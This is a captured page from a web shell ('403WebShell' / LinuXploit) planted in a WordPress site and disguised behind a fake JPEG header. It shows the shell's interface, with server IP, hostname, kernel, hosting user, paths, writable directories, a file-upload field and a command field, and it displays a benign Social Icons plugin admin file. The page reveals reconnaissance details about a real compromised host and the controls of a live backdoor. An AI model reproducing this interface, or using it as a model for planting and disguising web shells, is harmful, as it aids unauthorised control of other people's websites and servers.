????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/./tempvsty/eaabusiness.com/wp-content/plugins/social-icons/includes/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/./tempvsty/eaabusiness.com/wp-content/plugins/social-icons/includes/admin/class-si-admin.php
<?php
/**
 * Social Icons Admin.
 *
 * @class    SI_Admin
 * @version  1.4.0
 * @package  Social_Icons/Admin
 * @category Admin
 * @author   ThemeGrill
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * SI_Admin Class
 */
class SI_Admin {

	/**
	 * Hook in tabs.
	 */
	public function __construct() {
		add_action( 'init', array( $this, 'includes' ) );
		add_action( 'admin_footer', 'si_print_js', 25 );
		add_filter( 'admin_footer_text', array( $this, 'admin_footer_text' ), 1 );
	}

	/**
	 * Include any classes we need within admin.
	 */
	public function includes() {
		include_once( dirname( __FILE__ ) . '/functions-si-admin.php' );
		include_once( dirname( __FILE__ ) . '/functions-si-meta-box.php' );
		include_once( dirname( __FILE__ ) . '/class-si-admin-assets.php' );
		include_once( dirname( __FILE__ ) . '/class-si-admin-post-types.php' );
	}

	/**
	 * Change the admin footer text on Social Icons admin pages.
	 * @param  string $footer_text
	 * @return string
	 */
	public function admin_footer_text( $footer_text ) {
		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}
		$current_screen = get_current_screen();
		$si_pages       = si_get_screen_ids();

		// Check to make sure we're on a Social Icons admin page
		if ( isset( $current_screen->id ) && apply_filters( 'social_icons_display_admin_footer_text', in_array( $current_screen->id, $si_pages ) ) ) {
			// Change the footer text
			if ( ! get_option( 'social_icons_admin_footer_text_rated' ) ) {
				$footer_text = sprintf( __( 'If you like <strong>Social Icons</strong> please leave us a %1$s&#9733;&#9733;&#9733;&#9733;&#9733;%2$s rating. A huge thanks in advance!', 'social-icons' ), '<a href="https://wordpress.org/support/plugin/social-icons/reviews?filter=5#new-post" target="_blank" class="si-rating-link" data-rated="' . esc_attr__( 'Thanks :)', 'social-icons' ) . '">', '</a>' );
				si_enqueue_js( "
					jQuery( 'a.si-rating-link' ).click( function() {
						jQuery.post( '" . SI()->ajax_url() . "', { action: 'social_icons_rated' } );
						jQuery( this ).parent().text( jQuery( this ).data( 'rated' ) );
					});
				" );
			} else {
				$footer_text = __( 'Thank you for creating with Social Icons.', 'social-icons' );
			}
		}

		return $footer_text;
	}
}

new SI_Admin();

Youez - 2016 - github.com/yon3zu
LinuXploit